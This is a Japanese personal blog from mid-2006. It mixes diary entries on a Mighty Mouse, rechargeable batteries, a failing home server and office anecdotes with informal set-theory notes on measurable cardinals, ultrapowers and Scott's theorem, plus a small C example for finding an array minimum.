まいてぃまうすバトン
まいてぃまうすバトン(要は新したたまちゃんバトン)が、 Y.Kumagaiさんから渡ってきました。さらにたかたにさんには「かがみさんは『様子見』とか寝ぼけたことを」というご意見を頂いております。うーむ元はと言えば自分で撒いた種ですので、ここは購入ボタンを押すしかないかも(笑)。ただし出遅れの影響で納期は最悪二週間くらいかかるそうです。現在使用中のしらたまちゃんですが、上にみかんでも乗せて、毎日お祈りをするということで勘弁してもらいましょう。
最近はますます眼が悪くなり、小さい文字を読むのが非常に困難になってきました。その意味では、お気楽拡大機能があるということが購入する最大の理由です。
(関連項目) 新したたまちゃん
さらに散財
ゲーデルと20世紀の論理学(1)。こちらは八月上旬に届く予定。

2006年7月28日(金)

続・いもむし
先日中国のお土産にいもむしを買ってきて下さった H さんですが、まだまだおみやげの在庫があったらしく、昨日もらったのが写真のお菓子。
怪しいです(笑)。
まず右のごとくお菓子の袋の写真が怪しすぎます。えーっと、毛沢東の若いときの写真ではなく(いや！全然似てないけど)、お菓子を作っている会社の社長さんの写真らしいのです。日本で言えば、例えば明治製菓のお菓子の袋に、そこの社長さんの写真が張り付いているようなものです。果たしてこんなことして売れるのだろうか？といいつつも H さん曰く、「写真が面白かったのでつい買ってしまった」ということで、案外有効な売り上げ向上対策なのかもしれません。というかお菓子の名前が「不老林」なので、もしかしてづら屋さんでも兼任しているのか？そういやなんとなく頭に疑惑が感じられなくもないのです(^^。
次に怪しいのは下の左側、お菓子をくるんでいる銀紙です。写真だとちょっと分かりにくいのですが、ここにも社長さんの顔が(笑)。うーむ...よほど自分の顔に自信があるのだろうか。それともこれも営業対策？

最後に肝心のお菓子です。これは怪しいというより怖いです。頂き物ということで余り大きな声では言えませんが、 実物はいもむしの輪切りみたいに見えます(笑)。中国のいもむしってこんなに太いのだろうか。こんなのが動いてるの見ちゃったらやだな。
いずれにしてもお礼を言わないととっても失礼なので、H さんのところへお礼に行き、さらにいもむしがどうのこうのと講釈したのです。全く失礼なやつです(笑)。ところが H さん曰く、「前のいもむしの方が甘くておいしかったかも」ということで、「いもむしいもむしいもむし」としつこく言い続けた効果はあったようで、やっとこ H さん自身もお菓子の真の本性に気がついたようです。
もちろん前回のいもむしも、今回のいもむしも、両方とってもおいしかったことは言うまでもありません。どうもありがとうございます。
＃なんか今日の記事の雰囲気が「イロモノサイト」そのものになっているのがやだな(笑)。

2006年7月27日(木)

さすがに限界自宅サーバー
先日ダウンした FreeBSD/R30 自宅サーバーですが、明け方にディスクリセットが発生したというログが沢山出ています。なぜ明け方かと言いますと、その時刻に大量のバックアップを取るため、ディスクアクセスが集中するためと思われます。仕方がないので今日から夜中の自動バックアップは中止です。いやはや、いつ使えなくなるか分からない状態でバックアップをやめるとは、最悪の事態です。
うーむ、さすがにもう限界ですな。というかそこそこ動いてるのが不思議。いよいよ Mac mini サーバーを仕立て上げるしかなさそうです。とりあえず httpd は今日記を書いている PowerBook でもちゃんと動作しているので簡単に移行出来そうです。面倒そうなのが DNS と sendmail なのですが、こちらはぼちぼち移行することにします。今度の土日に作業を行う予定。
＃別途案として http サーバーは Mac mini で他の用途のサーバーは
＃180MHz で安定動作している X24とか。
＃面倒だから全部レンタルサーバーに移行するということも考えています。

2006年7月26日(水)

鴨南蛮ふたたび
今日も石川県から N さんが出張してきたので、お昼に N さん、S さん、Y さんと鴨南蛮を食べたのです。前回は PHS で写真を撮ったところいかにもまずそうになってしまったので、本日は巨大 LUMIX を持参しました(笑)。
くるくるまわるしらたまちゃん
Apple の News Release によると、ついにくるくる機能付きしらたまちゃん (ワイヤレスMighty Mouse(マイティマウス)) が発売されたそうな。もちろん気になるのは電池の寿命ですが、
ワイヤレスMighty Mouseは単三電池１個または２個で使用することができます。
ということだそうで、二個入れると寿命が二倍に伸びるのだと思います。ただし現在のしらたまちゃんと比較して効率が向上したかどうかは不明です。実は効率が良くなりすぎると、もちろん便利にはなるのですが、安物アルカリに対する eneloop の優位さが少なくなるという欠点もあります。
とってもとっても欲しいところですが、今まで可愛がってたしらたまちゃんをこのまま放置するのもちょっと可哀想な気がします。うーんどうしよう。しばらく様子を見ることになりそうです。

2006年7月25日(火)

またもダウン自宅サーバー(マウスの記事は上)
本日15時頃突然自宅サーバーが落ちました。家に電話をかけたところ、幸いモカちゃんがいたので、一度電源を落として入れ直してもらったところなんとか自動復旧したようです。このときと同じ症状です。二ヶ月以上問題なかったので油断していたのですが、そろそろ Web Server だけでも Mac mini に移行た方が良いかもしれません。
実験君
しらたまちゃんの電池ねたは封印するなんて書きましたが、とても暑くなってきたので、先週の水曜日から eneloop でない方のニッケル水素電池がどの位使えるか実験してみたのです。
結果は丁度一週間で二ヶ月前の実験と同じなのですが、この一週間は余りマウスを使用しなかったので、三分の二程度が自己放電と思われます。Eneloop の場合普通に使って 20日近く持ちますので、普通のニッケル水素電池(容量は eneloop より多い)は三日以内で使い切る条件でのみ eneloop に対抗出来る感じです。現実的には eneloop 以外のニッケル水素電池は必要ないと思われます。

2006年7月23日(日)

二女の誕生日
今日は二女十九歳の誕生日です。なにやら部活とかで色々忙しいそうで、お祝いは火曜日に行う予定。
部活ではなく期末試験でごたごたしている模様。普段勉強しないから(笑)。というか、せっかく大学に入ったのだから、「これから自由にいくらでも好きな勉強ができる」という気持ちにならないのが少々不満。でもやはり自分の娘というのはとても可愛いのです。

2006年7月21日(金)

The Knaster-Tarski Theorem より有限特性について
酒井さんのところから勝手にねたを頂きました。タルスキーの不動点定理の解説論文 The Knaster-Tarski Theorem の「A set operator is finitary iff it is chain-continuous」部分に関して。ちょっと記号を変えて証明を書きます。
$X$ を集合とし $\mathcal{P}(X)~(=~2^X)$ をべき集合とします。 $\tau:\,\mathcal{P}(X)~\rightarrow~\mathcal{P}(X)$ に対して次の条件は同値。
(1) $\mathcal{C}~\subset~\mathcal{P}(X)$ が $\subset$ に関する全順序部分集合(chain)のとき $\tau(\bigcup_{Y\in\mathcal{C}}Y)~=~\bigcup_{Y\in\mathcal{C}}\tau(Y)$
(2) $A\subset{X}$ の有限部分集合全体を $\mathcal{F}(A)$ とするとき $\tau(A)~=~\bigcup_{F\in\mathcal{F}(A)}\tau(F)$
まず (2) → (1) の証明ですが、 $\mathcal{C}$ を $\mathcal{P}(X)$ の全順序部分集合(chain)として、 $Y\in\mathcal{C}$ に対し $\mathcal{F}(Y)$ を $Y$ の有限部分集合全体とします。このとき $\mathcal{C}$ が chain であることにより
(3) $\bigcup_{Y\in{C}}\mathcal{F}(Y)~=~\mathcal{F}(\bigcup_{Y\in\mathcal{C}}Y)$

(2) の $A$ として $\bigcup_{Y\in\mathcal{C}}Y$ を考えると $\tau(A)~=~\bigcup_{F\in\mathcal{F}(A)}\tau(F)$ が成立します。ところが(3) より最後の式は $\bigcup_{Y\in\mathcal{C}}\,\bigcup_{F\in\mathcal{F}(Y)}\tau(F)$ となり、再び (2) によりこの式は $\bigcup_{Y\in\mathcal{C}}\tau(Y)$ と等しく、これは (1) が成立することを意味します。
(1) → (2) の証明は「有限特性」の概念がらみなので、超限的な証明が必要である可能性にもっと早く気がつくべきでした。
(1) を仮定し (2) を $A$ の基数に関する帰納法で証明します。 $|A|~=~\lambda$ として $A$ の要素全体を $(x_\alpha)_{\alpha<\lambda}$ と整列し、 $A_\beta~=~\{~x_\alpha~\,:\,~\alpha<\beta~\}\quad(\beta<\lambda)$ とします。明らかに $\{A_\beta~\,:\,~\beta<\lambda~\}$ は chain であり、さらに $A=\bigcup_{\beta<\lambda}{A_\beta}$ が成立します。ところが基数はその「基数」である最小の順序数なので $|A_\beta|<\lambda~\quad(\beta<\lambda)$ が成り立ち、帰納法の仮定により $\beta~<~\lambda$ に対し $\tau(A_\beta)~=~\bigcup_{F\in\mathcal{F}(A_\beta)}\tau(F)$ が成立します。従って (1) の仮定と (3) と同様な事実が成立することにより $\tau(A)=~\bigcup_{\beta<\lambda}\tau(A_\beta)~=~\bigcup_{\beta<\lambda}~\,\bigcup_{F\in\mathcal{F}(A_\beta)}\tau(F)~=~\bigcup_{F\in\mathcal{F}(A)}\tau(F)$ が成り立ち (2) が導かれます。
実は chain や「有限特性」という概念は Zorn の補題の定式化にも関連し、選択公理と密接な関連があるのです。実際、上の証明では整列可能定理を使用しました。集合論雑記という割には今まで Zorn の補題に関し真面目に書いたことがなかったので、こんど時間を見つけてきちんと書こうかと考えています。
(2006年7月22日追記) $\lambda$ が有限の場合は明らかということで。

2006年7月19日(水)

さらなる無限降下列
集合論雑記目次
(2006年7月24日付記) 下記はやはり変。一度退散します。
会社の昼休みにねた本なしで書いているので、前提条件等に誤りがあるかも知れません。その点に関しては後日訂正致します。
無限個の離接、合接、束縛を許す言語上で、集合論のモデル間の初等的埋め込み(この条件は自信ないです) $j:\,\langle~V,~\in~\rangle~\rightarrow~\langle~M,\varepsilon~\rangle$ を考えます。この場合「超巾と正則性」の記事で述べたような現象は発生しないらしい。つまり前記事の記号で書くと $f_0,f_1,f_2,...$ ( $V$ での $\varepsilon$ の降下列)が $\langle~M,\varepsilon~\rangle$ 内に外延を持てないので、 $V$ での $\varepsilon$ -無限降下列が $M$ の無限降下列にならなかった訳です。ところが無限の論理では $f_0,f_1,f_2,...$ の存在は $\exists{f_0,f_1,f_2,...}\bigwedge_{n<\omega}(f_{n+1}\varepsilon~f_n)$ と言語レヴェルで表現できてしまうので、 $\langle~M,\varepsilon~\rangle$ でも意味を持ち正則の公理に反する訳です。
(悩みごと) 無限論理の直感的な解釈は分からないではないのですが、ZFC 内で形式的に表現する方法が良くわからない。肝心の Model Theory (Studies in Logic and the Foundations of Mathematics) (Hardcover) by C.C. Chang, H.J. Keisler を読んでも「無限論理に関する解釈は演習問題」って書いてあるし。さらに演習問題と言っても章末に問題がある訳ではなく、「自分で考えて下さい」という意味なのです。お願いだから定義を演習問題にしないで...。やはり無限の合接等を形式化する場合、(普通の有限論理上の ZFC で)論理式をコード化し、全称記号を使うのだろうか。でもそのような形式化を行うと $\omega$ の実体がアメーバーのごとく変化する可能性があり、結局本日の論法もあやしくなるかも知れません。さらに $\omega$ 程度で直感的に議論するのはまだ良いとして、もっと大きい基数に関して同様な議論を行う場合、いくらなんでも「直感的に」という訳には行かないと思うのです。
という訳で本日の議論は直感的に分からないではないのですが、形式的な記述に関し、どうすれば良いか悩みにや悩んでるのです。
(2006年7月20日付記) 無限論理の ZFC 内での形式化は、常識的に全称記号や列を使う方法で問題ないのかも知れない。解釈に関しては普遍クラスである $\langle~V,~\in~\rangle$ に固定して考えれば(要するに通常の有限的な論理式と素直に考える)へんてこなことも起きないような気が。全く自信なしです。まずい！とんでも化しているかも。

2006年7月18日(火)

語感
集合論の勉強をしていると、ultrafilter, ultraproduct, ultrapower 等ウルトラなんとかという言葉がたくさん出てきます。英語で書くとまだ良いのですが、ウルトラパワーとカタカナで書くと、いかにも強そうで、さらに「シュワッチ！」という感じさえします(笑)。
私に限らず日本人の場合、「ウルトラ」という言葉は怪獣をやっつけるなんとか星人という感じがするのではないでしょうか。
そこで最大の疑問は、例えば supercompact のようにスーパなんとかという言葉を米国の人が聞いた場合、「機関車よりも強く、弾よりも速い」(良く覚えてない)という感じがするのでしょうか。どうでもよい謎なのです(笑)。

2006年7月17日(月)

URL占い
大分昔からあったようですが、 URL占いの話を小耳にはさんだので私も占ってみました。
かがみさんのサイトはイロモノサイトです！
あなたのサイトは、イロモノサイトの可能性が高いです。もしかしたら、あなた自身は、正統派をめざしているのかもしれませんが、その視線が独特すぎるため、結果的にイロモノになっています。そのため大ヒットはしないかもしれませんが、一部の濃い人たちには、人気を得るでしょう。よかったですね。
うーん。自分では講評出来ません(笑)。

2006年7月16日(日)

弱コンパクト基数にこもる
前回、あまりに驚いたので、可測基数の下に大量の弱コンパクト基数が存在する事実を書きましたが、実は弱コンパクト基数に関することは全然知りません。今になって思えば「到達不可能基数がいっぱい」にしておいた方が無難だったかと後悔しています。
それはともかくとして、弱コンパクト基数は言語 $\mathcal{L}_{\kappa~\kappa}$ (無限の合接、離接、無限個の変数に対する束縛を許容した言語) のコンパクト性に関連し、さらに無限の分割の性質、正規超フィルター等とも関連が深そうで、とても興味深いのです。しばらくこちらの方面にこもります。具体的には「巨大基数の集合論」を真面目に読み始める予定です。まだまだ不足な点は多いのですが、この二年半くらい断片的に知識をためこんだのも無駄ではなかったようで、ようやく他の文献を参考にしながら読み始める準備が整ったと楽観的に考えています。
超巾のことを教えて頂いたのはとても大きかったと思います。まだまだ初歩的な事実しか知りませんが、とても具体的で分かりやすく、さらに意外な事実がたくさん出てくる。これほど面白いものとは思いませんでした。

2006年7月15日(土)

モカちゃんピアノの発表会
今日はモカちゃんが通っているピアノ教室の発表会でした。モカちゃんの曲目は「ベートーヴェン作曲ピアノソナタ作品13ハ短調『悲愴』第1楽章」です。もちろん私の方はばか親モードに入り写真撮りまくりです。全部で 160枚くらい撮りました。
おうちに帰り写真サーバー (ご覧になっているマシンです)にアップ。パスワードを入れれば会社で~~ひなまとき~~休憩時間に見ることが出来るのでなかなか便利です．

2006年7月13日(木)

鴨南蛮

今日のお昼休みは石川県から出張に来ている Nさん、社内の Sさん(二人とも女性)と一緒に鴨南蛮を食べに行きました。以前から約束していたのですが、なかなか食べに行く機会がなかったのです。朝 N さんに会った時一瞬お顔が鴨に見えたので、「あっ！かもがいる～」と叫んだら怒られました(笑)。鴨南蛮はとてもおいしかったです。

最小値と最大値
命令型言語で配列の最小値を求めるプログラムは次の二つの流儀がありそう。
```
========================================================================
(その 1)
int min(int *a, int size)
{
 int m;

 m=a[0]; /* size=0 の場合メモリーをこわす */
 for (i=1;i!=size;i++) { /* size=0 の場合無限ループ */
 if (a[i]<=m)
 m=a[i];
 }
 return(m);
}

(その 2)
int min(int *a, int size)
{
 int m=int の最大値; /* infinity と解釈 */

 for (i=0;i!=size;i++) { /* size=0 でも大丈夫 */
 if (a[i]<=m)
 m=a[i];
 }
 return(m);
}
========================================================================
```
どうでも良いことですが (その 2) の方が好き。配列が空でも爆発しないし、配列が空の場合「最小値=プラス無限大」「最大値=マイナス無限大」と解釈できるのも宜しい。無限多倍長の場合 Infinity が欲しい。
ループのターミネーションに不等号ではなく「等しくない」を使用するのは私の流儀です。ループを抜けた時点でループ変数が終値に一致していることが自明になるのと、「どうせバグるなら盛大に」という鉄則にも合うので。

2006年7月12日(水)

おみやげ
会社の H さんが先週中国へ旅行していたのですが、うれしいことにおみやげを買ってきてくれたのです。どうもありがとうございます。
ところで右の写真のチョコレートの包装紙の文字は鏡文字みたいですが、よくよく見るとロシア語です。どうして中国なのにロシアのチョコレートなのかいまいち分からないのですが、もしかして国境近くに行ったのでしょうか。そして横にあるウインナーみたいなのは飴です。余り大きな声では言えませんが、 実物はいもむしかさなぎみたいに見えます(笑)。
丁度副社長がいもむしをなめていたいたので、「さすが副社長！勇気あります。これってどうみてもいもむしかさなぎで、食べる決断がつかないのですよ。」と大きな声でしゃべっていたのです。H さんの座席は私のところから離れているので聞こえないはずです。せっかくのおみやげの悪口なんて絶対に言えません。もちろん本人に聞こえなければ悪口を言ったことにはなりません(殴)。
ところが悪いことはできないもので、さらに「いずれ成虫になってお腹を食い破って出てくるのでは。それがミニ H さんみたいだったらほんとに恐怖映画の世界ですよ！」と騒いでいたら背後に気配が。
H さんに全部聞かれていました。
やけににこにこしているので余計に怖いのです。「いや、そのー、とってもおいしそうですね」などとごまかしても後の祭りです。なんとかに耳ありで、うかつに悪口は言えないものです。周りに十分注意する必要がありそうです(←違うだろ)。果たして次回はおみやげをもらえるのだろうか。とってもとっても心配なのです。
余談ですが最近は Lumix を持ち歩いていないので、どうでもよいねたが発生した場合WX310K は存外便利です。誰もが一度シャッターを押した後、二度と使うことのない京ぽん2のカメラも役に立つ場合があるようです。

2006年7月10日(月)

ボーナス
なんとか出たようで(汗)。それにしてもこの引かれ方っていったい...。
いずれにしても将来の Mac 購入のため 10万円程プールする予定。

2006年7月9日(日)

弱コンパクト基数がいっぱい
$\kappa$ を可測基数とし、 $U$ を正規な $\kappa$ 完備超フィルター(これは簡単に構成可能)とすると、その超巾において $\kappa~=~[\mathrm{id}_\kappa]$ が成立する。 $M|=$ 「 $\kappa~\text{~is~weakly~compact}$ 」と論理式 $\varphi$ に対し $M|=\varphi(\kappa)~\leftrightarrow~M|=\varphi([\mathrm{id}_\kappa])~~\leftrightarrow~V|=\{\alpha<\kappa\,:\,\varphi(\alpha)\}~\in~U$ の成立により、 $\kappa$ 以下「ほとんどすべて」の基数が弱コンパクト(すなわち到達不可能)。
こんな都合の良い方法で証明可能とは驚きました。
(関連項目)
2006年9月10日超積、超べきとLośの定理
 2006年8月24日可測基数と弱コンパクト基数(再挑戦)
2006年10月2日弱コンパクト基数の基本性質(一回目)
2006年11月12日正規フィルターとフォドァの補題
 2006年11月14日正規超フィルターと超べき

2006年7月8日(土)

Scottの定理・可測基数とL
集合論雑記目次
今日は Scott(1961) による「可測基数が存在すれば $V\neq{L}$ である」ことの証明です。
この定理は可測基数の重要性とおそらく整合性に関する直感に対し決定的な影響を与えたと思われるのですが、超巾とその推移的崩壊のテクニックを応用することに気がついた段階で、証明自体は比較的簡単だったのではと推測されるのです。個人的な見解ですが一種の「引き出し論法」です(*1)。
まず $L$ に関する前提条件ですが、今回使用するのは次の事実のみです。
(1) $L$ は最小の内部モデルである。すなわち $M\subset{V}$ が推移的で、すべての順序数が $M$ の要素である集合論の $\in$ モデルのとき $L\subset{M}$
超べきの定義、可測基数の定義、到達不可能であること、可算完備との関連については
測度と可測基数
 最小の可測基数
 可測基数が到達不可能であること
 超積、超べきとLośの定理
を参照して下さい。
一般にクラス(と構造) $\langle~N,\varepsilon~\rangle$ に対し、一対一関数 $j:\,V\rightarrow~{N}$ が初等的埋め込み(elementary embedding)であるとは、次の事実が成立することでした。
任意の論理式 $\varphi$ と $x_1,x_2,\cdots,x_n\in{V}$ に対し $\langle~V,\in~\rangle~|=~\varphi(x_1,x_2,\cdots,x_n)~\leftrightarrow~\langle~N,\varepsilon~\rangle~|=~\varphi(j(x_1),j(x_2),\cdots,j(x_n)).$
特に $N$ が推移的崩壊の条件を満たしている場合、推移的なクラス $M$ と同型 $\pi:\,\langle~N,\varepsilon~\rangle~\rightarrow~\langle~M,\in~\rangle$ が存在します。この場合 $\langle~M,\in~\rangle$ は内部モデルとなり $\pi~\circ~j:\,V~\rightarrow~M$ が初等的埋め込み(elementary embedding)となります。一般に推移的な $\in$ モデルに関する初等的埋め込み(この様に書いた場合恒等関数でなないものとする) $j:\,V~\rightarrow~M$ に対し次の事実が成立します。
(2) $\alpha~\leq~j(\alpha)$
(3) $\beta<j(\beta)$ を満たす $\beta$ が存在する。このような $\beta$ で最小のものを $j$ の critical point と言い $\mathrm{crit}(j)$ と表す。
(2)は整列順序集合間の増加関数の性質から導かれます。(3)の証明は省略します(*2)。ただしこれから展開する具体例では確かに可測基数が critical point となります。
Scott の定理の証明ですが、 $\kappa$ を最小の可測基数とし、 $U$ を $\kappa$ 上の nonprincipal $\kappa$ -complete ultrafilter とします。超巾 $\langle~V^{\kappa}/U,\varepsilon~\rangle$ を考えると $U$ が可算完備であることにより推移的崩壊 $\langle~M,~\in~\rangle$ を考えることが可能で、初等的埋め込み $j:\,V~\rightarrow~M$ を構成することができ、さらに $\mathrm{crit}(j)=\kappa$ が成立します。
この事実を仮定すると(後で証明) $V\neq{L}$ の証明は簡単です。もし $V=L$ を仮定すると、(1)により $V=M=L$ が成立し、 $M$ が内部モデルで $V=M$ であることにより $M|=~\kappa<j(\kappa)$ , $M|=~$ 「 $\kappa$ は最小の可測基数」が成立します。ところが elementary embedding の観点から $M|=~$ 「 $j(\kappa)$ は最小の可測基数」が成立するので矛盾です(*3)。
最後に $\kappa$ が critical point になることの証明です。まず $\beta<\kappa$ に対し $\beta=j(\beta)$ であることですが、 $f:\,\kappa~\rightarrow~V$ とし、超巾での解釈で $f~\in~j(\beta)$ を仮定します。このとき定義により $A=\{x~\,:\,~f(x)~\in~\beta~\}~\in~U$ が成立します。今 $\alpha<\beta$ に対し $A_\alpha~=~\{x\,:\,~f(x)~=~\alpha~\}$ とし、任意の $\alpha<\beta$ に対し $A_\alpha~\not\in~U$ を仮定すると、 $U$ が $\kappa$ -complete であることにより $A\not\in~{U}$ となり矛盾です。従って $A_{\alpha}~\in~U$ を満たす $\alpha~<~\beta$ が存在しますが、これは超巾(経由)での解釈で $f=\alpha$ を意味し、従って $\beta=j(\beta).$
次に恒等写像 $\mathrm{id}_\kappa:\,\kappa~\rightarrow~\kappa$ (うるさく言えば $\mathrm{id}_\kappa:\,\kappa~\rightarrow~V$ ) の超巾での解釈を考察します。まず超巾での解釈で $\mathrm{id}_\kappa~<~j(\kappa)$ は明らかです(恒等写像の各値が $\kappa$ の要素なので)。一方 $\beta<\kappa$ とすると、 $U$ が nonprincipal $\kappa$ -complete ultrafilter であることにより $\{~\alpha~\,:\,~\beta~<~\mathrm{id}_k(\alpha)\}~\in~U$ が成立し、 $\beta=j(\beta)<\mathrm{id}_\kappa.$ 従って $\kappa\le\mathrm{id}_\kappa$ が成立し $\kappa<j(\kappa).$
この定理の証明は(分かってしまえば)簡単ですが、内部モデルの考え、超巾とその推移的崩壊のご利益を使いきっている感じがします。また超自然数の場合と同様に恒等写像が $\kappa$ の住人からは「非常に大きく」見える点もなかなか興味深いのです。
正則の公理や AFA の話題から、超巾や推移的崩壊とそれらの関連性を教えて頂き、始めて巨大基数の有用性を実感できる定理を理解出来たつもりになっています。数学って楽しいです。
(付記) えーっと Category の方は全然進んでいません。もう少々時間を。
(*1) 証明の一部分は、先週の超巾と正則性の $\omega$ を可測基数 $\kappa$ に変えただけであり、論法は非常に良く似ているのに驚きます。もちろん $\omega$ 上に $\omega$ -complete ultrafilter(普通の超フィルター) が存在するという類推が成立しているから。
(*2) 例えば「巨大基数の集合論」を参照して下さい。さらにこの条件が成立してる場合、critical point は可測基数になることも分かります。
(*3) 初等的埋め込み $j:\,L~\rightarrow~L$ が存在すれば $V\neq{L}$ です。さらに初等的埋め込み $j:\,V~\rightarrow~V$ は存在しないことが知られています(Kunen 1971)。
(2006年7月24日追記) 上の「初等的埋め込み」は「定義可能な初等的埋め込み」とする必要があります。くるるさんに教えて頂きました。どうもありがとうございます。

2006年7月6日(木)

爆睡の日
昨日は午前中の会議と午後の会議があったのです。午前中の会議は私が担当しているソフトウエアーに関する内容だったので、当然真面目な議論を行いました。ところが午後の会議は「全体会議」ということで営業的には重要な会議だったのですが、まあ私には関係がない話ばかりだったのです。
当然眠くなります(笑)。
結局午後の会議では爆睡してしまい、会議終了後さらに営業的な打ち合わせがあったようなのですが、「かがみさんはもう帰ってよいです」とお役御免となり、19時過ぎ自宅に到着しました。実はその後のことは良く覚えていないのですが、結局 21時頃に寝てしまい、本日の朝6時頃まで爆睡したのです。最近やや寝不足だったのでちょっと良かったかも。

2006年7月5日(水)

つくば出張
きょうは恒例のつくば出張です。てゆうか十時集合って朝六時に家を出なくては。
いかん！結局ほとんど寝てない。眠い(現地より)。

2006年7月4日(火)

製本機届く
先日注文した製本機が届きました。やっぱ最初はこれですね(笑)。

2006年7月2日(日)

超巾と正則性
集合論雑記目次
$\kappa$ を基数、 $U$ を $\kappa$ 上の超フィルターとし、超巾 $V^{\kappa}/U$ を考えます。超巾の定義と今回の記法に関してはくるるさんの記事を参照して下さい。
今日のお題は次の事実。
$\langle~V^\kappa,~\varepsilon~\rangle$ では正則の公理が成立するが $V^{\kappa}/U~\subset~V$ と考えた場合 $V^{\kappa}/U$ の要素で $\varepsilon$ に関する無限下降列が存在する可能性がある。大丈夫なのか！
まず準備として $j:\,V~\rightarrow~V^{\kappa}/U$ を次の様に定義します。
$x\in{V}$ に対して定義域のすべての値に対し $x$ を対応させる定値関数を $C_{x}~:\,~\kappa~\rightarrow~V$ とする。そして $j(x)~=~C_{x}$
$j$ は elemenatry embedding です。即ち次が成立します。
$\langle~V,~\in~\rangle~|=\varphi(x_1,x_2,\cdots,x_n)~\leftrightarrow~\langle~V^\kappa/U,~\varepsilon~\rangle~|=~\varphi(j(x_1),j(x_2),\cdots,j(x_n))$
ここで「 $V^{\kappa}/U~\subset~V$ と考えた場合 $V^{\kappa}/U$ の要素で $\varepsilon$ に関する無限下降列が存在する。」という事実は「 $f_n\in{V^{\kappa}/U}\quad~(n~\in~\omega)$ で $\cdots~\varepsilon~f_{n+1}~\varepsilon~f_n~\varepsilon\cdots~\varepsilon~f_1~\varepsilon~f_0$ を満たす無限下降列(右から左へ)が存在する」ということです。解釈は $\in$ ではなく $\varepsilon$ により行われているので、一見すると上記の関係は $V^{\kappa}/U$ での無限下降列の存在を示し、正則性に矛盾しそうです。
一晩悩みました(笑)。
Relativization というのは落とし穴にはまりやすく、特に「 $\cdots$ 」などを使用した省略形を使う場合は注意が必要そうです。上の無限降下列をきちんと表現してみます。
(1) $\exists{f}(f\text{~is~a~function~}~\wedge~\mathrm{dom}(f)=\omega~\wedge~\forall{n\in\omega}(f(n+1)~\varepsilon~f(n)))$
さてどこがいけないのでしょうか？
このように書くと $\omega$ が限りなくあやしい気がします。 $\in$ も残っているし。 $\langle~V^\kappa/U,\varepsilon~\rangle$ での解釈では束縛されていない部分は書き直す必要があります。 Elementary embedding の性質により $V^{\kapp}/U$ での「 $\omega$ 」は $j(\omega)$ です(*)。従って
$(2)~\exists{f}(f\text{~is~a~function~}~\wedge~\mathrm{dom}(f)=j(\omega)~\wedge~~\forall{n\varepsilon~j(\omega)}(f(n+1)~\varepsilon~f(n)))$
を考察します。今 $\kappa~=~\omega$ として、 $U$ はフレシェフィルターを拡張した超フィルターとします。 $X\subset{\omega}$ は $\omega$ の有限個を除いた要素からなる場合 $U$ の要素となり、 $X,~\omega-X$ がともに無限の場合、「整合がとれるように選択した方」が $U$ の要素となります。この条件の下で $j(\omega)$ を考えるのです。
まず $j$ の性質により $n\in\omega$ に対し $j(n)\varepsilon{j(\omega)}$ は明らかです。ところが $j(\omega)$ の要素は上の形のもののみではありません。例えば $f~=~\{\langle~n,n~\rangle~\,:\,~n\in\omega~\}~=~\langle~0,1,2,\cdots\rangle$ を考えると $\{n\in\omega~\,:\,~f(n)\in\omega~\}~=~\omega~\in~U$ なので、超巾での $\varepsilon$ と $j$ の定義により $f\varepsilon~j(\omega)$ が成立します。さらに $\langle~V~,\in~\rangle$ で考えると、 $f$ は $\omega$ 上任意の二元以上の部分集合上で $j(n)\quad(n\in\omega)$ と異なるので、 $\langle~V^\omega/U~,\varepsilon~\rangle$ 上いずれの $j(n)\quad(n\in\omega)$ とも一致しません。もしかして $f$ は超自然数という感じなのでしょうか。いずれにしても (2) は成立しないのです。もっと分かりやすく言うと $\{f_0,f_1,f_2,...\}$ は $V^\omega/U$ の $\varepsilon$ 要素ではなさそうです(というか表現の方法がない)。
上の議論は自分で考えたのでいまいち正しいか自信がないのですが、もし合っているとすれば超巾の直感をつける上で非常に役に立ちました。例えば今回の議論をちょっと拡張すれば critical point の存在なども非常に分かりやすく説明出来そうです。個人的には案外気に入ってます。
(関連リンク) 超積、超べきとLośの定理

(*) $j$ により「最小の indective set」という性質は保存されるから。
(2006年7月4日付記) くるるさんに上記の事実に関し問題ないと教えて頂きました。どうもありがとうございます。さらに $V$ での無限下降列の実例に関しても記載した方が良いというアドヴァイスを頂きました。くるるさんの所のコメントにも書きましたが、上の例で言えば、
$f_0~=~\langle~0,1,2,3,4,5,\cdots~\rangle~\cr~f_1~=~\langle~0,0,1,2,3,4,\cdots~\rangle~\cr~f_2~=~\langle~0,0,0,1,2,3,\cdots~\rangle~\cr~f_3~=~\langle~0,0,0,0,1,2,\cdots~\rangle~\cr~\cdots$
が $V$ での $\varepsilon$ に関する無限下降列となります。

2006年7月1日(土)

製本機
最近インターネット経由で論文をダウンロードして読む機会が増えてきたのです。おおざっぱに流し読みする場合は、PC の画面で眺めても問題ないのですが、真面目に読む場合はどうしても印刷する必要があります。
ところが印刷した論文をクリップとかガチャ玉で留めると、ふにゃふにゃでまことに扱いが宜しくなく、さらにすぐ行方不明になってしまう場合が多いのです。
そこで欲しくなるのが製本機です。家庭用で安いものを探していたところ、とじ太くんというものを見つけました。本体の価格が一万円くらいです。気になるランニングコストですが、一冊 200円弱ということでこちらも許容範囲です。近々ボーナスも出る予定(大丈夫？)ですのでここは衝動買いです。届くのがちょっと楽しみ。

2006年6月30日(金)

ゲーデルの20世紀の論理学[全四巻]
東大出版会から発売されるそうな。第一巻の発売日は2006年7月下旬でお値段が 3,800円(税抜き)。
http://www.utp.or.jp/series/godel.html
http://www.utp.or.jp/bd/4-13-064095-X.html
間違いなく購入しそうな予感。
レンタルサーバーパワーアップ
私の家では、インターネットへの接続はデーターリンクに Flets ADSL を利用し、ネットワーク層に関しては、 IIJmio DSL/DF サービスという、ネットワーク層中継のみのサービスを利用しているのです。メールアドレス・転送等のサービスはありません。
そこで利用しているのがアイネットディという会社のホスティングサービス(Lightプラン)で、メールアドレスや自宅のドメイン名(evariste.jp)等の管理は全てこちらを利用しているのです。もちろんレンタルディスクスペースもありまして(昔はここにホームページを置いてあった)、今までは 500M バイトだったのが、7月から 1G バイトに増量となるそうな。さらにアカウント数(UNIX のログインユーザー数)も今までの 10 から 20ユーザーに増えるそうです。
現在使用中のディスク容量を調べてみました。
```
$ ssh usernamex@evariste.que.ne.jp
$ du -k
...
164586  .
```
あらま！ 165M バイトしかつかっていません(笑)。一月以内のメールとか PowerBook 内の重要なファイル(画像と音楽ファイルをを除く)はほとんど毎日バックアップしているのですが、意外と使わないものです。4年程前に使い出した時の容量が確か 100M バイトだったので、それだけディスクの価格が安くなったということでしょうか。もちろん全員が 1G バイト使用したら困るのでしょうが、私のような優良ユーザーもたくさんいるはずです。一人当たりどの位の使用を見込んでいるのだろう？
